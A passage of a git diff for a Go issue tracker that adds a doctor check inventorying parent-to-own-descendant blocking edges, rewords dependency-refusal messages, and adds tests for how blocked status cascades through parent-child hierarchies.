l1.depends_on_id, l4.issue_id + FROM (` + doctorDependencyUnionSQL() + `) l1 + JOIN (` + doctorDependencyUnionSQL() + `) l2 + ON l2.type = 'parent-child' AND l2.depends_on_id = l1.issue_id + JOIN (` + doctorDependencyUnionSQL() + `) l3 + ON l3.type = 'parent-child' AND l3.depends_on_id = l2.issue_id + JOIN (` + doctorDependencyUnionSQL() + `) l4 + ON l4.type = 'parent-child' AND l4.depends_on_id = l3.issue_id + WHERE l1.type = 'parent-child' + ) d ON d.anc = b.issue_id AND d.des = b.depends_on_id + WHERE b.type IN ('blocks', 'conditional-blocks') + ORDER BY b.issue_id, b.depends_on_id + ` + rows, err := db.Query(query) + if err != nil { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusWarning, + Message: "N/A (query failed)", + Detail: err.Error(), + Category: CategoryMetadata, + } + } + defer rows.Close() + + var gates []string + for rows.Next() { + var issueID, dependsOnID string + if err := rows.Scan(&issueID, &dependsOnID); err == nil { + gates = append(gates, fmt.Sprintf("%s→%s", issueID, dependsOnID)) + } + } + if err := rows.Err(); err != nil { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusWarning, + Message: "N/A (row iteration error)", + Detail: err.Error(), + Category: CategoryMetadata, + } + } + + if len(gates) == 0 { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusOK, + Message: "No parent→own-descendant blocking edges", + Category: CategoryMetadata, + } + } + + detail := truncateDetail(strings.Join(gates, ", ")) + + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusOK, + Message: fmt.Sprintf("%d parent→own-descendant blocking edge(s) (informational: these gates do not keep the children out of bd ready)", len(gates)), + Detail: detail, + Category: CategoryMetadata, + } +} + // checkDoltConflicts queries the Dolt server for unresolved merge conflicts (GH-2249). func checkDoltConflicts(beadsDir string) DoctorCheck { doltPath := getDatabasePath(beadsDir) diff --git a/cmd/bd/doctor/validation_test.go b/cmd/bd/doctor/validation_test.go index 150bedd00..3b5e1ff01 100644 --- a/cmd/bd/doctor/validation_test.go +++ b/cmd/bd/doctor/validation_test.go @@ -5,6 +5,7 @@ package doctor import ( "context" "crypto/sha256" + "database/sql" "encoding/hex" "fmt" "os" @@ -12,6 +13,7 @@ import ( "strings" "testing" "time" + "unicode/utf8" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/types" @@ -717,3 +719,156 @@ func TestCheckGitConflicts_DoltBackend_Clean(t *testing.T) { t.Fatal("Expected no conflicts in clean database") } } + +// TestCheckParentBlocksOwnChildDB_NoGates verifies the informational check is +// quiet on a store with no close gates — including one that has an ordinary +// parent-child hierarchy, which must not be mistaken for a gate. +func TestCheckParentBlocksOwnChildDB_NoGates(t *testing.T) { + store := newTestDoltStore(t, "test") + ctx := context.Background() + + parent := &types.Issue{Title: "Parent epic", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeEpic} + if err := store.CreateIssue(ctx, parent, "test"); err != nil { + t.Fatalf("Failed to create parent: %v", err) + } + child := &types.Issue{Title: "Child task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, child, "test"); err != nil { + t.Fatalf("Failed to create child: %v", err) + } + db := store.DB() + if _, err := db.ExecContext(ctx, + `INSERT INTO dependencies (id, issue_id, depends_on_issue_id, type, created_at, created_by) VALUES (UUID(), ?, ?, 'parent-child', NOW(), 'test')`, + child.ID, parent.ID); err != nil { + t.Fatalf("Failed to insert parent-child edge: %v", err) + } + + check := checkParentBlocksOwnChildDB(db) + + if check.Status != StatusOK { + t.Errorf("Status = %q, want %q", check.Status, StatusOK) + } + if check.Message != "No parent→own-descendant blocking edges" { + t.Errorf("Message = %q, want the empty-inventory message", check.Message) + } + if check.Category != CategoryMetadata { + t.Errorf("Category = %q, want %q", check.Category, CategoryMetadata) + } +} + +// TestCheckParentBlocksOwnChildDB_GateReported verifies the inventory: a parent +// that blocks on its own parent-child child OR grandchild is listed, by both +// ids, and the check stays OK — these edges are legal since gastownhall/beads#6506 and the +// check has no fix. +func TestCheckParentBlocksOwnChildDB_GateReported(t *testing.T) { + store := newTestDoltStore(t, "test") + ctx := context.Background() + + parent := &types.Issue{Title: "Parent epic", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeEpic} + if err := store.CreateIssue(ctx, parent, "test"); err != nil { + t.Fatalf("Failed to create parent: %v", err) + } + child := &types.Issue{Title: "Child task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, child, "test"); err != nil { + t.Fatalf("Failed to create child: %v", err) + } + grandchild := &types.Issue{Title: "Grandchild task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, grandchild, "test"); err != nil { + t.Fatalf("Failed to create grandchild: %v", err) + } + other := &types.Issue{Title: "Unrelated blocker", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, other, "test"); err != nil { + t.Fatalf("Failed to create unrelated blocker: %v", err) + } + + db := store.DB() + edges := []struct{ from, to, depType string }{ + {child.ID, parent.ID, "parent-child"}, + {grandchild.ID, child.ID, "parent-child"}, + {parent.ID, child.ID, "blocks"}, // the close gate + {parent.ID, grandchild.ID, "blocks"}, // a gate two levels down: listed too + {parent.ID, other.ID, "blocks"}, // exogenous: must NOT be listed + {child.ID, other.ID, "blocks"}, // an ordinary blocker on the child + } + for _, e := range edges { + if _, err := db.ExecContext(ctx, + `INSERT INTO dependencies (id, issue_id, depends_on_issue_id, type, created_at, created_by) VALUES (UUID(), ?, ?, ?, NOW(), 'test')`, + e.from, e.to, e.depType); err != nil { + t.Fatalf("Failed to insert %s edge %s->%s: %v", e.depType, e.from, e.to, err) + } + } + + check := checkParentBlocksOwnChildDB(db) + + if check.Status != StatusOK { + t.Errorf("Status = %q, want %q: the idiom is legal, the check only reports it", check.Status, StatusOK) + } + if check.Fix != "" { + t.Errorf("Fix = %q, want empty: this check has no --fix", check.Fix) + } + if check.Category != CategoryMetadata { + t.Errorf("Category = %q, want %q", check.Category, CategoryMetadata) + } + if !strings.Contains(check.Message, "2 parent→own-descendant") { + t.Errorf("Message = %q, want a count of exactly the two close gates", check.Message) + } + for _, wantDetail := range []string{parent.ID + "→" + child.ID, parent.ID + "→" + grandchild.ID} { + if !strings.Contains(check.Detail, wantDetail) { + t.Errorf("Detail = %q, want it to name %q", check.Detail, wantDetail) + } + } + if strings.Contains(check.Detail, other.ID) { + t.Errorf("Detail = %q, must not list the exogenous blocker %s", check.Detail, other.ID) + } +} + +// TestCheckParentBlocksOwnChildDB_QueryFailureWarns verifies that an inventory +// query that fails is a warning, not an OK that reads as "no gates". A closed +// handle fails every query without reaching a server. +func TestCheckParentBlocksOwnChildDB_QueryFailureWarns(t *testing.T) { + db, err := sql.Open("mysql", "root@tcp(127.0.0.1:1)/none") + if err != nil { + t.Fatalf("sql.Open: %v", err) + } + _ = db.Close() + + check := checkParentBlocksOwnChildDB(db) + + if check.Status != StatusWarning { + t.Errorf("Status = %q, want %q", check.Status, StatusWarning) + } + if check.Message != "N/A (query failed)" { + t.Errorf("Message = %q, want %q", check.Message, "N/A (query failed)") + } + if check.Detail == "" { + t.Error("Detail is empty, want the query error") + } +} + +// TestTruncateDetail_CutsOnARuneBoundary pins the --json contract: a cut +// detail line is still valid UTF-8. The gate inventory joins its entries with +// U+2192, three bytes wide, so a byte-indexed cut lands mid-rune for two of +// every three offsets and emits a replacement-character sequence into JSON. +func TestTruncateDetail_CutsOnARuneBoundary(t *testing.T) { + // One entry is 6 bytes: "a", U+2192 (3), "b", ",", " " — so successive + // totals step past 200 at offsets that are not rune starts. + entry := "a→b" + for n := 1; n < 120; n++ { + parts := make([]string, n) + for i := range parts { + parts[i] = entry + } + got := truncateDetail(strings.Join(parts, ", ")) + if !utf8.ValidString(got) { + t.Fatalf("n=%d: truncateDetail produced invalid UTF-8: %q", n, got) + } + if len(got) > detailMaxBytes+len("...") { + t.Fatalf("n=%d: truncateDetail returned %d bytes, want <= %d", + n, len(got), detailMaxBytes+len("...")) + } + } + + // Short input is returned whole, with no ellipsis. + if got := truncateDetail("wr-p→wr-c"); got != "wr-p→wr-c" { + t.Errorf("short detail was rewritten: %q", got) + } +} diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index ac64377c4..9cf8b8868 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1566,7 +1566,7 @@ type Problem struct { // BlockerId With `dependency_cycle`, hierarchy refusal only: the ancestor or descendant the edge named as blocker. See `issue_id`. BlockerId *string `json:"blocker_id,omitempty"` - // BlockerIsAncestor With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when it is a DESCENDANT (blocked status cascades, so it would inherit the block and never close). Both polarities are reported; this member is never omitted to mean false. See `issue_id`. + // BlockerIsAncestor With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when it is a DESCENDANT (waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children). Both polarities are reported; this member is never omitted to mean false. See `issue_id`. BlockerIsAncestor *bool `json:"blocker_is_ancestor,omitempty"` // Blockers With `not_closable`, and ONLY on the live-blocker refusal: the live blockers that refused the close, in the order the refusing check reported them, read from the refusal's typed list rather than parsed out of any message. Never present together with `open_children`. diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 4c5b22462..5524c88f3 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -11982,9 +11982,10 @@ components: With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when - it is a DESCENDANT (blocked status cascades, so it would inherit the - block and never close). Both polarities are reported; this member is - never omitted to mean false. See `issue_id`. + it is a DESCENDANT (waiting on your own subtree is a close gate, not + a blocks edge — use a waits-for gate over the children). Both + polarities are reported; this member is never omitted to mean false. + See `issue_id`. expected_version: type: string description: >- diff --git a/internal/storage/createbatchequiv/golden/depadd.json b/internal/storage/createbatchequiv/golden/depadd.json index 8f520beb2..c3ad1dc71 100644 --- a/internal/storage/createbatchequiv/golden/depadd.json +++ b/internal/storage/createbatchequiv/golden/depadd.json @@ -61,14 +61,14 @@ "probe eq-de -\u003e eq-de tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", "probe eq-de -\u003e eq-de tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", "probe eq-de -\u003e eq-de tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", - "probe eq-de -\u003e eq-de.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: blocked status cascades to descendants, so eq-de.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: blocked status cascades to descendants, so eq-de.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-de.2 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de -\u003e eq-de.2 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.2 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.2 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", @@ -91,9 +91,9 @@ "probe eq-de -\u003e eq-dc tables=[]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-dc tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-dc tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-dw1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: blocked status cascades to descendants, so eq-dw1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-dw1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-dw1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: blocked status cascades to descendants, so eq-dw1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-dw2 tables=[]: cycle=true hierarchy=ok cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-dw2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-dw2 tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=adding dependency would create a cycle", @@ -121,8 +121,8 @@ "probe eq-de.1 -\u003e eq-de.1 tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de.1 cannot depend on itself", "probe eq-de.1 -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de.1 cannot depend on itself", "probe eq-de.1 -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de.1 cannot depend on itself", - "probe eq-de.1 -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de.1 -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de.1 -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de.1 -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de.1 -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de.1 -\u003e eq-de.2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de.1 -\u003e eq-de.2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", @@ -1143,7 +1143,7 @@ "probe eq-dmissing -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dmissing cannot depend on itself", "add eq-db1 -blocks-\u003e eq-db4: adding dependency would create a cycle", "add eq-db1 -blocks-\u003e eq-dr: ok", - "add eq-de -blocks-\u003e eq-de.1.1: eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close", + "add eq-de -blocks-\u003e eq-de.1.1: eq-de cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate)", "add eq-de.1.1 -blocks-\u003e eq-de: eq-de.1.1 cannot be blocked by its ancestor eq-de: eq-de cannot close until its descendants finish, so the gate would never clear", "add eq-de.1.1 -blocks-\u003e eq-de.2: ok", "add eq-de -parent-child-\u003e eq-dw2: adding dependency would create a cycle", @@ -1160,7 +1160,7 @@ "add eq-db2 -related-\u003e eq-db1: dependency eq-db2 -\u003e eq-db1 already exists with type \"blocks\" (requested \"related\"); remove it first with 'bd dep remove' then re-add", "add eq-dr -blocks-\u003e external:proj:other: ok", "add eq-de.2 -parent-child-\u003e eq-de.1: ok", - "add eq-de.1 -blocks-\u003e eq-de.2: eq-de.1 cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close", + "add eq-de.1 -blocks-\u003e eq-de.2: eq-de.1 cannot be blocked by its descendant eq-de.2: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate)", "add eq-dk1 -blocks-\u003e eq-dl: ok", "add eq-dl -blocks-\u003e eq-dk2: adding dependency would create a cycle", "add eq-dk2 -blocks-\u003e eq-dk1: eq-dk2 cannot be blocked by its ancestor eq-dk1: eq-dk1 cannot close until its descendants finish, so the gate would never clear" diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 72a845965..987879f40 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -145,6 +145,7 @@ go_test( "blocked_recheck_publication_test.go", "blocked_recheck_raw_test.go", "blocked_recompute_guard_test.go", + "blocked_scale_bench_test.go", "blocking_annotator_contract_test.go", "bootstrap_test.go", "bootstrapper_contract_test.go", diff --git a/internal/storage/dolt/blocked_consistency_test.go b/internal/storage/dolt/blocked_consistency_test.go index a800438be..880501ce5 100644 --- a/internal/storage/dolt/blocked_consistency_test.go +++ b/internal/storage/dolt/blocked_consistency_test.go @@ -3,8 +3,10 @@ package dolt import ( "context" "database/sql" + "fmt" "testing" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -177,3 +179,870 @@ func TestRecomputeAllIsBlocked_CascadesThroughParentChild(t *testing.T) { t.Fatalf("after repair: want 0 inconsistencies, got %d", n) } } + +// --- parent-child cascade: only EXOGENOUS blockedness propagates ------------- +// +// gastownhall/beads#6506 (wy-3eb07b). The legs used to cascade on the parent's +// is_blocked bit WHATEVER set it, so the "close gate on the epic" idiom — P +// carries blocks edges onto its own children so it cannot close before them — +// darkened the very children P was waiting for. Neither child could reach bd +// ready, so neither could be worked, so neither could close: a permanent lock. +// +// The contract these four cases pin: a parent-child edge propagates only the +// parent's EXOGENOUS blockedness. P is blocked FOR CHILD C iff P has a +// blocking reason whose target is NOT one of P's own parent-child children, or +// P's own parent is (recursively) exogenously blocked. P's OWN is_blocked is +// unchanged throughout — it really does depend on open children. + +// addDepSkippingCycleCheck writes a dependency edge past the per-edge cycle +// check. The close-gate topology cannot be built any other way through the +// store: every edge is legal when it is written, but the pair is refused in +// either order once both exist (CheckBlockingHierarchyInTx rejects a blocker +// that is a descendant; CheckDependencyCycleInTx rejects the parent-child edge +// that closes the loop). That is exactly how the shape arrives in the wild — +// one edge at a time, or through import/merge — and SkipCycleCheck is the +// supported way to reproduce it (the whole-graph END GATE is the batch +// caller's obligation, not this fixture's). +func addDepSkippingCycleCheck(ctx context.Context, t *testing.T, store *DoltStore, source, target string, depType types.DependencyType) { + t.Helper() + // The store-level AddDependencyWithOptions does not forward SkipCycleCheck + // (dolt/dependencies.go builds its own AddDependencyOpts); the transaction + // surface does, and it is the one batch callers use. + err := store.RunInTransaction(ctx, "test: seed close-gate edge", func(tx storage.Transaction) error { + return tx.AddDependencyWithOptions(ctx, + &types.Dependency{IssueID: source, DependsOnID: target, Type: depType}, + "tester", storage.DependencyAddOptions{SkipCycleCheck: true}) + }) + if err != nil { + t.Fatalf("add dep %s -> %s (%s): %v", source, target, depType, err) + } +} + +// assertBlockedFlags checks is_blocked for a set of ids in one place so a +// failure names every disagreement rather than the first. +func assertBlockedFlags(ctx context.Context, t *testing.T, store *DoltStore, when string, want map[string]bool) { + t.Helper() + for id, expected := range want { + if got := isBlocked(ctx, t, store.db, id); got != expected { + t.Errorf("%s: %s is_blocked = %v, want %v", when, id, got, expected) + } + } +} + +// assertConvergedAndStable pins the lockstep for the case at hand: detection +// counts zero, and the full repair agrees by changing nothing. +func assertConvergedAndStable(ctx context.Context, t *testing.T, store *DoltStore) { + t.Helper() + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("write path left %d inconsistencies; detection and the union must agree", n) + } + if changed := recomputeAll(ctx, t, store.db); changed != 0 { + t.Errorf("full repair changed %d rows over a write-path-consistent graph, want 0", changed) + } +} + +// TestParentChildCascade_ParentBlockedOnlyByItsOwnChildren is the repro. P +// blocks on C1 and C2, which are P's own parent-child children. P stays +// blocked; the children must NOT be darkened, and must be reachable as ready +// work — the property whose absence made the idiom a permanent lock. +func TestParentChildCascade_ParentBlockedOnlyByItsOwnChildren(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pc-gate-p", "pc-gate-c1", "pc-gate-c2"} { + createPerm(t, ctx, store, id) + } + // The blocks edges go in while no hierarchy exists yet... + addDependencyWithMeta(t, ctx, store, "pc-gate-p", "pc-gate-c1", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pc-gate-p", "pc-gate-c2", types.DepBlocks, "") + // ...and the hierarchy after, which is what closes the gate on the epic. + addDepSkippingCycleCheck(ctx, t, store, "pc-gate-c1", "pc-gate-p", types.DepParentChild) + addDepSkippingCycleCheck(ctx, t, store, "pc-gate-c2", "pc-gate-p", types.DepParentChild) + + assertBlockedFlags(ctx, t, store, "after the write path", map[string]bool{ + "pc-gate-p": true, // P really does depend on two open children. + "pc-gate-c1": false, // ...but the gate must not darken them. + "pc-gate-c2": false, + }) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", map[string]bool{ + "pc-gate-p": true, + "pc-gate-c1": false, + "pc-gate-c2": false, + }) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + inReady := map[string]bool{} + for _, issue := range ready { + inReady[issue.ID] = true + } + for _, id := range []string{"pc-gate-c1", "pc-gate-c2"} { + if !inReady[id] { + t.Errorf("%s missing from ready work: the children of a close-gate epic are exactly what must stay workable", id) + } + } + if inReady["pc-gate-p"] { + t.Error("pc-gate-p is ready, but it is blocked on two open children") + } +} + +// TestParentChildCascade_ParentBlocksItsOwnGrandchild is the same lock one +// level down, and the case a DIRECT-child reading of "own child" leaves alive +// (the adversarial review's B1 repro). +// +// P blocks on G, which is not P's child but P's GRANDCHILD: pc C -> P, +// pc C2 -> P, pc G -> C. Under a depth-1 test G reads exogenous, so P darkens +// C, so C darkens G — and G is the only row whose close can ever free P. The +// contract is about blockedness originating outside P's own SUBTREE, so the +// whole hierarchy under P must stay bright while P alone stays blocked. +// +// C2 is the sibling control: it is reachable only through P's cascade, so it +// proves the leg was re-evaluated rather than merely skipped for the branch +// the new edge touched. +func TestParentChildCascade_ParentBlocksItsOwnGrandchild(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pcg-p", "pcg-c", "pcg-c2", "pcg-g"} { + createPerm(t, ctx, store, id) + } + // The gate goes in first, while P and G are unrelated... + addDependencyWithMeta(t, ctx, store, "pcg-p", "pcg-g", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pcg-c", "pcg-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pcg-c2", "pcg-p", types.DepParentChild, "") + // ...and the edge that puts G inside P's subtree comes last, which is what + // reclassifies P's reason from exogenous to subtree-derived. Nothing but + // this edge's own seeding can un-darken C and C2. + addDepSkippingCycleCheck(ctx, t, store, "pcg-g", "pcg-c", types.DepParentChild) + + want := map[string]bool{ + "pcg-p": true, // P still depends on an open G. + "pcg-c": false, // but nothing under P may be darkened by it, + "pcg-c2": false, + "pcg-g": false, // least of all the row whose close frees P. + } + assertBlockedFlags(ctx, t, store, "after the write path", want) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", want) + + ready, err := store.GetReadyWork(ctx, types.WorkFilter{Status: types.StatusOpen}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + inReady := map[string]bool{} + for _, issue := range ready { + inReady[issue.ID] = true + } + if !inReady["pcg-g"] { + t.Error("pcg-g missing from ready work: the grandchild P waits on is the one row that can end the lock") + } + for _, id := range []string{"pcg-c", "pcg-c2"} { + if !inReady[id] { + t.Errorf("%s missing from ready work", id) + } + } + + // The same answer from a fully inverted plane: the grandchild case needs + // the fixpoint, not just the write path's incremental seeding. + if _, err := store.db.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked"); err != nil { + t.Fatalf("invert flags: %v", err) + } + if changed := recomputeAll(ctx, t, store.db); changed == 0 { + t.Fatal("repair reported 0 corrections over an inverted plane") + } + assertBlockedFlags(ctx, t, store, "after repairing an inverted plane", want) + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("after repair: want 0 inconsistencies, got %d", n) + } +} + +// TestParentChildCascade_ExogenousParentStillCascades is the control: the fix +// narrows the cascade, it does not remove it. P is blocked by an open issue +// that is NOT one of its children, so both children inherit blocked exactly as +// before. +func TestParentChildCascade_ExogenousParentStillCascades(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pc-exo-p", "pc-exo-c1", "pc-exo-c2", "pc-exo-x"} { + createPerm(t, ctx, store, id) + } + addDependencyWithMeta(t, ctx, store, "pc-exo-p", "pc-exo-x", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pc-exo-c1", "pc-exo-p", types.DepParentChild, "") + addDependencyWithMeta(t, ctx, store, "pc-exo-c2", "pc-exo-p", types.DepParentChild, "") + + assertBlockedFlags(ctx, t, store, "after the write path", map[string]bool{ + "pc-exo-x": false, + "pc-exo-p": true, + "pc-exo-c1": true, + "pc-exo-c2": true, + }) + assertConvergedAndStable(ctx, t, store) + assertBlockedFlags(ctx, t, store, "after the full repair", map[string]bool{ + "pc-exo-p": true, + "pc-exo-c1": true, + "pc-exo-c2": true, + }) +} + +// TestParentChildCascade_ThreeLevelChainBothWays pins the recursive clause in +// both directions on one graph. +// +// Exogenous chain: GP is blocked by an outside issue, so GP darkens P and P +// darkens C — including C, whose own parent P has no blocking edge of its own. +// That is the clause "P's own parent-child parent is (recursively) +// exogenously blocked", carried one level per fixpoint pass. +// +// Close-gate chain: GP2 is blocked only by its own child P2. Neither P2 nor +// P2's child C2 may be darkened by it. +func TestParentChildCascade_ThreeLevelChainBothWays(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{ + "pc3-x", "pc3-gp", "pc3-p", "pc3-c", + "pc3-gp2", "pc3-p2", "pc3-c2", + } { + createPerm(t, ctx, store, id) + } + + // Exogenous: GP -> X (outside), then the two-level hierarchy under GP. + 